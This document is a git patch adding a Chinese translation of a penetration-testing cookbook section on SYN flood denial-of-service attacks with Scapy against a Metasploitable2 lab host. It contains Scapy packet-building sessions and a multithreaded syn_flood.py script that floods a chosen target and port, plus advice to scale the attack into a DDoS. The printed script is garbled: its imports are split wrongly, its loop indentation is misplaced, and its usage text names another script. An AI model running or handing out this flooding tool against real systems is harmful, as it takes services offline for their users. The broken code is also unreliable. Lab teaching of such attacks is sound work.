From 5a7ef3a2fcaf2cc15594ad799e3004c685bf4b13 Mon Sep 17 00:00:00 2001 From: wizardforcel <562826179@qq.com> Date: Thu, 24 Nov 2016 14:19:34 +0800 Subject: [PATCH] 6.7 --- ch6.md | 207 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 206 insertions(+), 1 deletion(-) diff --git a/ch6.md b/ch6.md index fc1023d..3f82ea8 100644 --- a/ch6.md +++ b/ch6.md @@ -674,7 +674,7 @@ Sent 2 packets. DNS 放大攻击的效率取决于 DNS 查询的响应大小。 另外,可以通过使用多个 DNS 服务器来增加攻击的威力。 -## SNMP 放大 DoS 攻击 +## 6.5 SNMP 放大 DoS 攻击 SNMP 扩展攻击通过伪造具有大型响应的查询,来利用团体字符串可预测的 SNMP 设备。 通过使用分布式 DDoS 组件,以及通过同时向多个 SNMP 设备发送请求,可以提高这种攻击的效率。 @@ -1003,3 +1003,208 @@ pwnbox.lizard.com 123 172.16.36.3 35 4 4 5d0 65 51 + 来自所使用的网络功能的响应应该显着大于用于请求它的请求。 NTP 放大攻击的效率取决于 NTP 查询的响应大小。 另外,可以通过使用多个 NTP 服务器来增加攻击的威力。 + +## 6.7 SYN 泛洪 DoS 攻击 + +SYN 泛洪 DoS攻击是一种资源消耗攻击。 它的原理是向作为攻击目标的服务相关的远程端口发送大量 TCP SYN 请求。 对于目标服务接收的每个初始 SYN 分组,然后会发送出 SYN + ACK 分组并保持连接打开,来等待来自发起客户端的最终 ACK 分组。 通过使用这些半开请求使目标过载,攻击者可以使服务无响应。 + +### 准备 + +为了使用 Scapy 对目标执行完整的 SYN 泛洪,你需要有一个运行 TCP 网络服务的远程系统。 提供的示例使用 Metasploitable2 的实例用。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano)将脚本写入文件系统。 有关编写脚本的更多信息,请参阅本书第一章中的“使用文本编辑器(VIM 和 Nano)”秘籍。 + +### 操作步骤 + +为了使用 Scapy 执行 SYN 泛洪,我们需要通过与目标服务关联的端口发送 TCP SYN 请求来开始。 为了向任何给定端口发送 TCP SYN 请求,我们必须首先构建此请求的层级。 我们将需要构建的第一层是 IP 层: + +``` +root@KaliLinux:~# scapy Welcome to Scapy (2.2.0) +>>> i = IP() +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 127.0.0.1 + dst= 127.0.0.1 + \options\ +>>> i.dst = "172.16.36.135" +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 172.16.36.224 + dst= 172.16.36.135 + \options\ +``` + +要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 TCP 层: + +``` +>>> t = TCP() +>>> t.display() +###[ TCP ]### + sport= ftp_data + dport= http + seq= 0 + ack= 0 + dataofs= None + reserved= 0 + flags= S + window= 8192 + chksum= None + urgptr= 0 + options= {} +``` + + +要构建我们的请求的 TCP 层,我们将使用与 IP 层相同的技术。 在提供的示例中,`TCP` 对象赋给了`t`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到目标端口的默认值是 HTTP 80 端口。对于我们的首次扫描,我们将 TCP 配置保留默认。现在我们构建了 IP 和 TCP 层,我们可以通过堆叠这些层来构造请求: + +``` +>>> response = sr1(i/t,verbose=1,timeout=3) +Begin emission: +Finished to send 1 packets. +Received 5 packets, got 1 answers, remaining 0 packets +>>> response.display() +###[ IP ]### + version= 4L + ihl= 5L + tos= 0x0 + len= 44 + id= 0 + flags= DF + frag= 0L + ttl= 64 + proto= tcp + chksum= 0x9944 + src= 172.16.36.135 + dst= 172.16.36.224 + \options\ +###[ TCP ]### + sport= http + dport= ftp_data + seq= 3651201360L + ack= 1 + dataofs= 6L + reserved= 0L + flags= SA + window= 5840 + chksum= 0x1c68 + urgptr= 0 + options= [('MSS', 1460)] + ###[ Padding ]### + load= '\x00\x00' +``` + +可以通过使用斜杠分隔变量来堆叠 IP 和 TCP 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 一旦建立了请求,就可以将其传递给发送和接收函数,以便我们可以分析响应: + +``` +>>> request = (i/t) +>>> request.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= tcp + chksum= None + src= 172.16.36.224 + dst= 172.16.36.135 + \options\ +###[ TCP ]### + sport= ftp_data + dport= http + seq= 0 + ack= 0 + dataofs= None + reserved= 0 + flags= S + window= 8192 + chksum= None + urgptr= 0 + options= {} +``` + +可以在不独立地构建和堆叠每个层的情况下执行相同的请求。 相反,可以通过直接调用函数并向其传递适当的参数来使用单行命令: + +``` +>>> sr1(IP(dst="172.16.36.135")/TCP()) +Begin emission: +...................................................... +Finished to send 1 packets. +..* +Received 57 packets, got 1 answers, remaining 0 packets +>> +``` + +SYN 泛洪的效率取决于在给定时间段内可以生成的 SYN 请求的数量。 为了提高这个攻击序列的效率,我写了一个多线程脚本,可以执行可由攻击系统处理的,尽可能多的 SYN 数据包注入的并发进程: + +``` +#!/usr/bin/python + +from scapy.all +import * from time +import sleep +import thread +import random +import logging +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +if len(sys.argv) != 4: + print "Usage - ./syn_flood.py [Target-IP] [Port Number] [Threads]" + print "Example - ./sock_stress.py 10.0.0.5 80 20" + print "Example will perform a 20x multi-threaded SYN flood attack" + print "against the HTTP (port 80) service on 10.0.0.5" + sys.exit() + +target = str(sys.argv[1]) +port = int(sys.argv[2]) +threads = int(sys.argv[3]) + +print "Performing SYN flood. Use Ctrl+C to stop attack." +def synflood(target,port): + while 0 == 0: + x = random.randint(0,65535) + send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0) + + for x in range(0,threads): + thread.start_new_thread(synflood, (target,port)) + + while 0 == 0: + sleep(1) +``` + +脚本在执行时接受三个参数。 这些参数包括目标 IP 地址,SYN 泛洪所发送到的端口号,以及将用于执行 SYN 泛洪的线程或并发进程的数量。 每个线程以生成 0 到 65,535 之间的整数值开始。 此范围表示可分配给源端口的全部可能值。 定义源和目标端口地址的 TCP 报头的部分在长度上都是 16 比特。 每个位可以为 1 或 0。因此,有`2 ** 16`或 65,536 个可能的 TCP端 口地址。 单个源端口只能保持一个半开连接,因此通过为每个 SYN 请求生成唯一的源端口地址,我们可以大大提高攻击的性能: + +``` +root@KaliLinux:~# ./syn_flood.py U +sage - ./syn_flood.py [Target-IP] [Port Number] [Threads] +Example - ./sock_stress.py 10.0.0.5 80 20 +Example will perform a 20x multi-threaded SYN flood attack against the HTTP (port 80) service on 10.0.0.5 +root@KaliLinux:~# ./syn_flood.py 172.16.36.135 80 20 +Performing SYN flood. Use Ctrl+C to stop attack. +``` + +当在没有任何参数的情况下执行脚本时,会将使用方法返回给用户。在提供的示例中,脚本对托管在`172.16.36.135`的 TCP 端口 80 上的 HTTP Web 服务执行,具有 20 个并发线程 。脚本本身提供的反馈很少; 但是,可以运行流量捕获工具(如 Wireshark 或 TCPdump)来验证是否正在发送连接。在非常短暂的时间之后,与服务器的连接尝试会变得非常慢或完全无响应。 + +### 工作原理 + +TCP 服务只允许建立有限数量的半开连接。 通过快速发送大量的 TCP SYN 请求,这些可用的连接会被耗尽,并且服务器将不再能够接受新的传入连接。 因此,新用户将无法访问该服务。 通过将其用作 DDoS 并且使多个攻击系统同时执行脚本,该攻击的效率可以进一步加强。 -- GitLab